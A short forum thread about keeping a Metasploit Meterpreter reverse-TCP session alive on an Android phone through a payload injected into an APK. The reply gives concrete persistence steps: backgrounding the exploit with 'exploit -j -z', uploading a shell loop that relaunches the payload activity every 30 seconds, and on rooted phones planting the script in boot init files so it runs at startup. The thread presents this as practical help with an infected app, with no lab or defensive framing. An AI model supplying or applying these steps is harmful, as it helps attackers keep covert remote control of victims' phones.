Forum Thread: Android/Metasploit - Keep a session alive

I've successfully generated a standard android/meterpreter/reverse-tcp payload and manually injected it into an apk. It works, but the session dies often and then it only start anew once the infected app is launched again.

Is there a way to keep a session alive and automatically start a new one should the previous die?

2 Responses

First, when launching the exploit, make it a background job and choose not to interact with the session right away with "msf> exploit -j -z". Then, as soon as meterpreter connects back, upload a script with a "while true" condition (will run eternally) that starts the package's class in which you injected the hook. Assuming it is a raw payload, it would be in MainActivity, so: "while true; do sleep 30; am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity; done". Drop into a shell, chmod 744 the script, run "sh script", exit gracefully. If the phone is rooted, you could drop the script into /data/local as "userinit" or add lines to /etc/init.d/90userinit to execute it as well, as it is called on boot.

how to upload the above mentioned script

Share Your Thoughts

  • Hot
  • Active